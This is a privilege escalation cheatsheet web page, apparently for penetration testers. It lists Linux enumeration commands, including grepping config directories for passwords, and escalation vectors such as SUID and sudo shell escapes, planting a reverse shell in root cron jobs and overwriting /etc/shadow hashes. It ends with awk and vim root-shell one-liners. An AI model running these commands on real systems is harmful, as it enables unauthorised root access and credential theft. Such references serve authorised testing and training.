Home › Cheatsheets › Linux Privilege Escalation Cheatsheet
Linux Privilege Escalation Cheatsheet
Enumeration commands and escalation vectors in one page. Printable: use your browser's Print → Save as PDF.
Domain: Offensive · Last updated 2026-08-12
Quick reference
This cheatsheet is a fast recall aid, not a tutorial — learn the concepts in the Manual, then keep this beside you while you work.
Automated enumeration
./linpeas.sh · lse.sh -l1 · linenum.sh — run first, then verify findings by hand.
Manual triage
| Check | Command |
|---|---|
| Sudo rights | sudo -l |
| SUID binaries | find / -perm -4000 -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Cron jobs | cat /etc/crontab; ls -la /etc/cron.* |
| Writable paths in $PATH | echo $PATH + check each dir |
| Kernel | uname -a (map to known exploits) |
| Interesting files | find / -writable -type d 2>/dev/null |
| Creds in files | grep -rn "password" /etc /var/www 2>/dev/null |
Common vectors
- Sudo misconfig —
sudo -lshows a binary; check GTFOBins for a shell escape. - SUID GTFOBins — e.g.
find . -exec /bin/sh -p \; -quitiffindis SUID. - Writable cron/script run by root → drop a reverse shell.
- Weak file perms on
/etc/passwdor/etc/shadow→ add/replace a root hash. - PATH hijack on a root-run script that calls a binary by name.
- Capabilities —
cap_setuid+epon a binary → set uid 0. - Docker/lxd group membership → mount host FS as root.
GTFOBins pattern (sudo)
bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo vim -c ':!/bin/sh'